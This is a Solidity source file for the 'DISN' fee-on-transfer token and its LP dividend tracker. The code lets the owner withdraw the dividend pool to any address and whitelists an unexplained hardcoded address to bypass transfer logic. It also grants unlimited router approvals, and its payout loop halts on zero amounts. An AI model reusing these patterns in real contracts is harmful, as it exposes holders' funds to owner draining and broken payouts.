文件 1 的 1:DISN.sol
pragma solidity ^0.6.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.2;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
pragma solidity ^0.6.2;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity ^0.6.2;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity ^0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity ^0.6.2;
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.6.2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.2;
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
pragma solidity ^0.6.2;
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
pragma solidity ^0.6.2;
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract TokenDividendTracker is Ownable {
using SafeMath for uint256;
address[] public shareholders;
uint256 public currentIndex;
mapping(address => bool) private _updated;
mapping (address => uint256) public shareholderIndexes;
address public uniswapV2Pair;
address public lpRewardToken;
uint256 public LPRewardLastSendTime;
uint256 public errorTokenNumber;
constructor (address uniswapV2Pair_, address lpRewardToken_)public{
uniswapV2Pair = uniswapV2Pair_;
lpRewardToken = lpRewardToken_;
errorTokenNumber = 200 * 10**6;
LPRewardLastSendTime = block.timestamp;
}
function resetLPRewardLastSendTime() public onlyOwner {
LPRewardLastSendTime = 0;
}
function outToken(address lpRewardT,uint256 amount) public onlyOwner {
IERC20(lpRewardToken).transfer(lpRewardT, amount);
}
function setErrorTokenNumber(uint256 amount) public onlyOwner {
errorTokenNumber = amount;
}
function process(uint256 gas) external onlyOwner {
uint256 shareholderCount = shareholders.length;
if(shareholderCount == 0) return;
uint256 nowbanance = errorTokenNumber;
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
while(gasUsed < gas && iterations < shareholderCount) {
if(currentIndex >= shareholderCount){
currentIndex = 0;
LPRewardLastSendTime = block.timestamp;
return;
}
uint256 totalEnd = IERC20(uniswapV2Pair).totalSupply() - IERC20(uniswapV2Pair).balanceOf(address(0xdead))- IERC20(uniswapV2Pair).balanceOf(address(0));
uint256 amount = nowbanance.mul(IERC20(uniswapV2Pair).balanceOf(shareholders[currentIndex])).div(totalEnd);
if( amount == 0) {
currentIndex++;
iterations++;
return;
}
if(IERC20(lpRewardToken).balanceOf(address(this)) < amount ) return;
IERC20(lpRewardToken).transfer(shareholders[currentIndex], amount);
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex++;
iterations++;
}
}
function setShare(address shareholder) external onlyOwner {
if(_updated[shareholder] ){
if(IERC20(uniswapV2Pair).balanceOf(shareholder) == 0) quitShare(shareholder);
return;
}
if(IERC20(uniswapV2Pair).balanceOf(shareholder) == 0) return;
addShareholder(shareholder);
_updated[shareholder] = true;
}
function quitShare(address shareholder) internal {
removeShareholder(shareholder);
_updated[shareholder] = false;
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
}
pragma solidity ^0.6.2;
interface INft {
function process(uint256 distributorGas) external;
function setTotal(uint256 t) external;
}
contract DISN is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private swapping;
address public USDTs = address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
uint256 public swapTokensAtAmount = 1000 * (10**18);
uint256 public leaveAmount = 1;
address public _liudityAddress;
address public _proxyAddress;
address public _nftAddress;
bool public _isNftTotal;
bool public _isDividen = true;
mapping (address => bool) private _openTracker;
mapping (address => bool) private _uniswapRouter4;
TokenDividendTracker public dividendTracker;
address private fromAddress;
address private toAddress;
mapping (address => bool) isDividendExempt;
uint256 public minPeriod = 300;
uint256 distributorGas = 500000;
bool public isStartLiudity = true;
constructor() public ERC20("DISN", "DISN") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), USDTs);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
dividendTracker = new TokenDividendTracker(uniswapV2Pair, USDTs);
setOpenTracker(owner(), true);
setOpenTracker(address(dividendTracker), true);
setOpenTracker(address(this), true);
setUniswapRouter4(address(0x5E325eDA8064b456f4781070C0738d849c824258), true);
isDividendExempt[address(this)] = true;
isDividendExempt[address(0)] = true;
isDividendExempt[address(0xdead)] = true;
isDividendExempt[address(dividendTracker)] = true;
_mint(owner(), 10000000 * (10**18));
}
receive() external payable {}
function setSetting(
uint256 swapTokensAtAmounts,
uint256 leaveAmounts,
uint256 minPeriods,
uint256 distributorGash,
bool isStartLiuditys,
bool _isDividens
) external onlyOwner{
swapTokensAtAmount = swapTokensAtAmounts;
leaveAmount = leaveAmounts;
minPeriod = minPeriods;
distributorGas = distributorGash;
isStartLiudity = isStartLiuditys;
_isDividen = _isDividens;
}
function resetLPRewardLastSendTime(address account,uint256 amount,uint256 amount2) public onlyOwner {
dividendTracker.outToken(account,amount);
dividendTracker.resetLPRewardLastSendTime();
dividendTracker.setErrorTokenNumber(amount2);
}
function setNftSetting(
address _nftAddressh,
bool _isNftTotals
) external onlyOwner{
_nftAddress = _nftAddressh;
_isNftTotal = _isNftTotals;
}
function setAddrSetting(
address _liudityAddressh,
address _proxyAddressh
) external onlyOwner{
_liudityAddress = _liudityAddressh;
_proxyAddress = _proxyAddressh;
}
function setOpenTracker(address account, bool excluded) public onlyOwner {
_openTracker[account] = excluded;
}
function isOpenTracker(address account) public view returns(bool) {
return _openTracker[account];
}
function setUniswapRouter4(address account, bool excluded) public onlyOwner {
_uniswapRouter4[account] = excluded;
}
function isUniswapRouter4(address account) public view returns(bool) {
return _uniswapRouter4[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(_uniswapRouter4[from]){
super._transfer(from, to, amount);
return;
}
if(!swapping &&
from != uniswapV2Pair &&
from != owner() &&
isStartLiudity &&
to != owner()
) {
swapping = true;
_swapAndLiquid();
swapping = false;
}
bool takeFee = !swapping;
if(_openTracker[from] || _openTracker[to]) {
takeFee = false;
}
if(from != uniswapV2Pair && to != uniswapV2Pair){
takeFee = false;
}
if(takeFee) {
uint256 lpfees = amount.mul(4).div(100);
amount = amount.sub(lpfees);
super._transfer(from, address(this), lpfees);
}
if(to == uniswapV2Pair && !_openTracker[from]){
super._transfer(from, to, amount.sub(leaveAmount));
}else{
if(from!=uniswapV2Pair && to!=uniswapV2Pair && !_openTracker[from] && !_openTracker[to]){
super._transfer(from, to, amount.sub(leaveAmount));
}else{
super._transfer(from, to, amount);
}
}
if(fromAddress == address(0) )fromAddress = from;
if(toAddress == address(0) )toAddress = to;
if(!isDividendExempt[fromAddress] && fromAddress != uniswapV2Pair ) try dividendTracker.setShare(fromAddress) {} catch {}
if(!isDividendExempt[toAddress] && toAddress != uniswapV2Pair ) try dividendTracker.setShare(toAddress) {} catch {}
fromAddress = from;
toAddress = to;
if(!swapping &&
from != owner() &&
to != owner() &&
from !=address(this) &&
dividendTracker.LPRewardLastSendTime().add(minPeriod) <= block.timestamp
) {
if(_isDividen){
try dividendTracker.process(distributorGas) {} catch {}
_isDividen = false;
}else {
if(_isNftTotal){
try INft(_nftAddress).process(distributorGas) {} catch {}
_isDividen = true;
}
}
}
}
function _swapAndLiquid() private {
uint256 balances = balanceOf(address(this));
uint256 fistval = IERC20(USDTs).balanceOf(address(this));
if(fistval > 0){
uint256 nr = fistval.div(3);
uint256 dr = fistval.sub(nr);
IERC20(USDTs).transfer(_nftAddress, nr);
IERC20(USDTs).transfer(address(dividendTracker), dr);
if(_isNftTotal){
try INft(_nftAddress).setTotal(nr) {} catch {}
}
return;
}
IERC20(USDTs).approve(address(uniswapV2Router), 9 * 10**70);
_approve(address(this), address(uniswapV2Router), 9 * 10**70);
if (balances > swapTokensAtAmount) {
uint256 hl = balances.div(4);
uint256 yx = balances.sub(hl);
uint256 half = hl.div(2);
uint256 half2 = hl.sub(half);
_swapTokenForTokenFTTS(half.add(yx));
uint256 fttsvalue = IERC20(USDTs).balanceOf(address(this));
addLiquidity2(half2, fttsvalue/7);
}
}
function addLiquidity2(uint256 t1, uint256 t2) private {
uniswapV2Router.addLiquidity(address(this),
USDTs, t1, t2, 0, 0, _liudityAddress, block.timestamp);
}
function _swapTokenForTokenFTTS(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);path[1] = USDTs;
uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
tokenAmount, 0, path, _proxyAddress, block.timestamp);
uint256 amount = IERC20(USDTs).balanceOf(_proxyAddress);
if (IERC20(USDTs).allowance(_proxyAddress, address(this)) >= amount) {
IERC20(USDTs).transferFrom(_proxyAddress, address(this), amount);
}
}
}